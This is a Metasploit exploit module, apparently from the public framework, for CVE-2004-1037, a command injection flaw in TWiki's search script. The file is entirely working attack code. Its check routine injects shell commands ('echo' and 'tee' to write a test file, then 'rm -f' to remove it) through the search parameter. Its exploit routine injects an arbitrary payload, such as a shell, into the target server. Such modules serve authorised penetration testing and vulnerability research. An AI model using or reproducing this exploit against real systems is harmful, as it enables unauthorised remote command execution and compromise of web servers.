## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'TWiki Search Function Arbitrary Command Execution', 'Description' => %q{ This module exploits a vulnerability in the search component of TWiki. By passing a 'search' parameter containing shell metacharacters to a 'Search' script, an attacker can execute arbitrary OS commands. Affected versions: - 20040901 - 20030201 - 20011201 - 20001201 - SVN up to and including revision 3224 }, 'Author' => [ # Unknown - original discovery 'jduck', # metasploit version 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2004-1037' ], [ 'OSVDB', '11714' ], [ 'BID', '11674' ], [ 'URL', 'https://twiki.org/cgi-bin/view/Codev/SecurityAlertExecuteCommandsWithSearch' ] ], 'DisclosureDate' => '2004-10-01', 'Privileged' => true, # web server context 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Payload' => { 'DisableNops' => true, 'BadChars' => ' ', 'Space' => 1024 }, 'Targets' => [[ 'Automatic', {}]], 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => UNKNOWN_RELIABILITY, 'Stability' => UNKNOWN_STABILITY, 'SideEffects' => UNKNOWN_SIDE_EFFECTS } ) ) register_options( [ OptString.new('URI', [ true, "TWiki bin directory path", "/twiki/bin" ]), # /view/Main/WebSearch - https://github.com/rapid7/metasploit-framework/commit/6414821ea860c6f33d9129d9af0e9648be5972a9 # /search/Main/SearchResult - https://www.exploit-db.com/exploits/642 OptString.new('SEARCH_PATH', [ true, "TWiki search directory path", "/search/Main/SearchResult" ]), ] ) end def report_twiki_service report_service( host: rhost, port: rport, proto: 'tcp', name: 'TWiki', parents: { name: ssl ? 'https' : 'http', host: rhost, port: rport, proto: 'tcp', parents: { name: 'tcp', host: rhost, port: rport, proto: 'tcp', parents: nil } } ) end def send_request(uri, timeout = 25) send_request_cgi({ 'uri' => uri }, timeout) end def check content = rand_text_alphanumeric(16 + rand(16)) test_file = rand_text_alphanumeric(8 + rand(8)) test_url = normalize_uri(datastore['URI'], '/view/Main/', test_file) search_url = normalize_uri(datastore['URI'], datastore['SEARCH_PATH']) search_url << '?search=' vprint_status("URI: #{search_url}") # first see if it already exists (it really shouldn't) res = send_request(test_url) if (not res) or (res.body.match(content)) vprint_warning("The test file exists already!") return Exploit::CheckCode::Unknown('Could not determine the target status') # Need to try again with a different file end # try to create it vprint_status("Attempting to create: #{test_url}") search = rand_text_alphanumeric(1 + rand(8)) search << "';echo${IFS}" + content + "${IFS}|tee${IFS}" + test_file + ".txt;#'" res = send_request(search_url + Rex::Text.uri_encode(search)) if (not res) or (res.code != 200) vprint_warning("Error with exploit request (HTTP #{res&.code}, should be 200)") unless res&.code == 200 return Exploit::CheckCode::Safe('The target is not vulnerable') end # try to call it vprint_status("Checking if created: #{test_url}") res = send_request(test_url) if (not res) or (not res.body.match(content)) vprint_warning("Error with exploit request (HTTP #{res&.code}, should be 500)") unless res&.code == 500 vprint_warning("Error with exploit request (Content doesn't match)") unless res&.body&.match(content) return Exploit::CheckCode::Safe('The target is not vulnerable') end # delete the tmp file print_status("Attempting to delete: #{test_url}") search = rand_text_alphanumeric(1 + rand(8)) search << "';rm${IFS}-f${IFS}" + test_file + ".txt;#'" res = send_request(search_url + Rex::Text.uri_encode(search)) if (not res) or (res.code != 200) vprint_warning("Error with exploit request (HTTP #{res&.code}, should be 200)") unless res&.code == 200 print_warning("Unable to remove test file (#{test_file})") end report_twiki_service return Exploit::CheckCode::Vulnerable('The target is vulnerable') end def exploit search_url = normalize_uri(datastore['URI'], datastore['SEARCH_PATH']) search_url << '?search=' search_url << rand_text_alphanumeric(1 + rand(8)) vprint_status("URI: #{search_url}") search = "';" + payload.encoded + ";#'" vprint_status("Executing command: #{payload.encoded}") vprint_status("Sending payload") # Very short timeout because the request may never return if we're sending a socket payload timeout = 0.1 res = send_request(search_url + Rex::Text.uri_encode(search), timeout) vprint_status("Payload sent") # Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails if res.nil? vprint_warning("The request received no response in the allotted time, and is expected, even if the exploit succeeds.") elsif res.code != 200 vprint_error("Error with payload request (HTTP #{res.code}, should be 200)") end end end